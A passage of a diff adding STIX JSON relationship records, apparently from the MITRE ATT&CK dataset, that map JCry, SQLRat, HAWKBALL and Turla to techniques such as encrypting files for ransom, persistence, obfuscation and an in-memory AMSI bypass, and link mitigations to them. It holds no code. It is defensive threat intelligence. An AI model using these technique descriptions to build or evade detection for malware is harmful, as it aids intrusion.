"relationship--b2463427-0ad2-426b-b8e3-fcae5347a545", + "source_ref": "malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82", + "modified": "2019-06-30T23:03:26.129Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019.", + "source_name": "Carbon Black JCry May 2019", + "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "description": "[JCry](https://attack.mitre.org/software/S0389) has encrypted files and demanded Bitcoin to decrypt those files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-18T17:20:43.762Z", + "id": "relationship--164aec0b-1e3e-4e79-b9c3-43d602a1674a", + "source_ref": "malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82", + "modified": "2019-06-30T23:03:26.143Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019.", + "source_name": "Carbon Black JCry May 2019", + "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[JCry](https://attack.mitre.org/software/S0389) has used VBS scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-18T17:20:43.776Z", + "id": "relationship--8dad8f08-ade1-4a1b-a8e5-718c94afc585", + "source_ref": "malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82", + "modified": "2019-06-30T23:03:26.156Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019.", + "source_name": "Carbon Black JCry May 2019", + "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[JCry](https://attack.mitre.org/software/S0389) has created payloads in the Startup directory to maintain persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-18T17:20:43.778Z", + "id": "relationship--1ffba98c-788b-47e0-a67c-9d3700e86ec5", + "source_ref": "malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82", + "modified": "2019-06-30T23:03:26.157Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019.", + "source_name": "Carbon Black JCry May 2019", + "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[JCry](https://attack.mitre.org/software/S0389) has achieved execution by luring users to click on a file that appeared to be an Adobe Flash Player update installer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-18T17:20:43.787Z", + "id": "relationship--ac8ba4ea-f9dc-4d0c-85d9-0df3041fd304", + "source_ref": "malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82", + "modified": "2019-06-30T23:03:26.220Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019.", + "source_name": "Carbon Black JCry May 2019", + "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[SQLRat](https://attack.mitre.org/software/S0390) has used PowerShell to create a Meterpreter session.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-18T18:40:33.766Z", + "id": "relationship--f6f5d688-5f78-492f-aed9-12f299b4f6f5", + "source_ref": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06", + "modified": "2019-06-30T23:27:22.150Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Flashpoint FIN 7 March 2019", + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ " + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[SQLRat](https://attack.mitre.org/software/S0390) can make a direct SQL connection to a Microsoft database controlled by the attackers, retrieve an item from the bindata table, then write and execute the file on disk.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-18T18:40:33.783Z", + "id": "relationship--1cfc5611-b428-4fce-8b8d-f591523c9d9c", + "source_ref": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06", + "modified": "2019-06-30T23:27:22.182Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Flashpoint FIN 7 March 2019", + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ " + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[SQLRat](https://attack.mitre.org/software/S0390) has scripts that are responsible for deobfuscating additional scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-18T18:40:33.791Z", + "id": "relationship--b7f13afc-0e1c-4142-b05c-def10c17a8d6", + "source_ref": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06", + "modified": "2019-06-30T23:27:22.180Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Flashpoint FIN 7 March 2019", + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ " + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[SQLRat](https://attack.mitre.org/software/S0390) has used a character insertion obfuscation technique, making the script appear to contain Chinese characters.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-18T18:40:33.794Z", + "id": "relationship--b1c27a03-1598-41eb-b2e6-426704d22ba8", + "source_ref": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06", + "modified": "2019-06-30T23:27:22.208Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Flashpoint FIN 7 March 2019", + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ " + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[SQLRat](https://attack.mitre.org/software/S0390) has created scheduled tasks in %appdata%\\Roaming\\Microsoft\\Templates\\.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-18T18:40:33.809Z", + "id": "relationship--cd07e694-b95b-4797-b2da-63704b4e8939", + "source_ref": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06", + "modified": "2019-06-30T23:27:22.226Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Flashpoint FIN 7 March 2019", + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ " + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[SQLRat](https://attack.mitre.org/software/S0390) relies on users clicking on an embedded image to execute the scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-18T18:40:33.811Z", + "id": "relationship--60b2b967-6481-4842-9904-547a7c626ea6", + "source_ref": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06", + "modified": "2019-06-30T23:27:22.229Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Flashpoint FIN 7 March 2019", + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ " + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[SQLRat](https://attack.mitre.org/software/S0390) has used been observed deleting scripts once used.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-18T18:40:33.826Z", + "id": "relationship--0705be49-4ad2-4b50-a024-e8b79b53a1ab", + "source_ref": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06", + "modified": "2019-06-30T23:27:22.242Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Flashpoint FIN 7 March 2019", + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ " + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[SQLRat](https://attack.mitre.org/software/S0390) has used SQL to execute JavaScript and VB scripts on the host system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-18T18:40:33.829Z", + "id": "relationship--1bab673f-4d0f-473a-8c4d-9b6b53c1369d", + "source_ref": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06", + "modified": "2019-06-30T23:27:22.251Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Flashpoint FIN 7 March 2019", + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ " + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-18T18:42:42.566Z", + "id": "relationship--ceac12d5-3c40-42f6-a7df-0fa2e67bf1e8", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.703Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "source_name": "Flashpoint FIN 7 March 2019", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ " + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a", + "description": "Making PowerShell profiles immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-19T13:51:59.746Z", + "id": "relationship--620c3acc-4c9b-423b-b00b-9b79ef2e07fe", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-19T14:46:24.383Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used PowerShell profiles to maintain persistence on an infected machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-19T15:13:21.046Z", + "id": "relationship--18983529-5998-4f76-be90-f6e9cdd9f33d", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.986Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used the Registry to store encrypted payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-19T17:14:23.739Z", + "id": "relationship--bd437a82-65df-42d7-a73b-6ed63a4cdd63", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.976Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + }, + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "source_name": "Symantec Waterbug Jun 2019", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used encryption (including salted 3DES via [PowerSploit](https://attack.mitre.org/software/S0194)'s Out-EncryptedScript.ps1), random variable names, and base64 encoding to obfuscate PowerShell commands and payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-19T17:14:23.764Z", + "id": "relationship--ae6620d4-5320-4e5a-a61a-5bda4ac1c9e4", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.982Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used WMI event filters and consumers to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-19T17:14:23.775Z", + "id": "relationship--9263ab45-f7d5-4bcf-af7e-d7be1913c3d6", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.270Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[Turla](https://attack.mitre.org/groups/G0010) and its RPC backdoors have used APIs calls for various tasks related to subverting AMSI and accessing then executing commands through RPC and/or named pipes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T01:02:00.281Z", + "id": "relationship--3465231b-93b2-47ea-8c4f-f1f7e9d9be1b", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.342Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used a AMSI bypass, which patches the in-memory amsi.dll, in PowerShell scripts to bypass Windows antimalware products.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T01:02:00.297Z", + "id": "relationship--10987149-1b3f-4c89-a1e6-c285d740697f", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.395Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used a custom decryption routine, which pulls key and salt values from other artifacts such as a WMI filter or [PowerShell Profile](https://attack.mitre.org/techniques/T1504), to decode encrypted PowerShell payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T01:02:00.303Z", + "id": "relationship--07516f04-c7aa-46c7-9cca-0f81b84043e2", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.423Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4", + "description": "Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services. Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. To defend against SYN floods, enable SYN Cookies.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T13:58:02.416Z", + "id": "relationship--5d37f644-31c5-414e-9a83-cb6fb36b87e0", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "modified": "2019-10-10T15:57:52.524Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.", + "source_name": "CERT-EU DDoS March 2017", + "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "Identify and block potentially malicious software executed that may be executed through this technique by using application whitelisting tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:28:20.218Z", + "id": "relationship--42f4db8f-ef8b-4dcc-8c8f-4d0b5219c8b7", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-17T20:10:02.242Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "source_name": "Microsoft Windows Defender Application Control", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:32:08.266Z", + "id": "relationship--34503727-d78b-4e67-b944-83546cc473e2", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-07-17T20:19:29.523Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549", + "description": "Disable Autorun if it is unnecessary. Disallow or restrict removable media at an organizational policy level if they are not required for business operations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:34:41.315Z", + "id": "relationship--c8ff6191-a8ac-4f12-b336-a2e0c7644082", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-07-24T17:36:01.428Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft Disable Autorun", + "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.", + "url": "https://support.microsoft.com/en-us/kb/967715" + }, + { + "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.", + "source_name": "TechNet Removable Media Control", + "url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda", + "description": "Set directory access controls to prevent file writes to the search paths for applications, both in the folders where applications are run from and the standard dylib folders.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:37:50.344Z", + "id": "relationship--8dd4e608-780b-4067-8164-614a89604363", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-17T19:54:05.774Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "description": "Employ network segmentation for sensitive domains..", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:46:03.508Z", + "id": "relationship--68949ed4-db1b-40bb-b2ca-1a91d2739295", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-07-17T19:33:26.196Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.", + "source_name": "Harmj0y Domain Trusts", + "url": "http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ " + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "description": "Map the trusts within existing domains/forests and keep trust relationships to a minimum.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:46:03.518Z", + "id": "relationship--047e6dc3-d213-4d97-8573-9c8da28a0742", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-07-17T19:33:26.209Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) has methods to check if the process the malware uses is being debugged.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:52:45.158Z", + "id": "relationship--be1c9c63-8096-4ff8-b020-570f153a65e3", + "source_ref": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", + "modified": "2019-07-06T21:31:25.554Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye HAWKBALL Jun 2019", + "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", + "url": 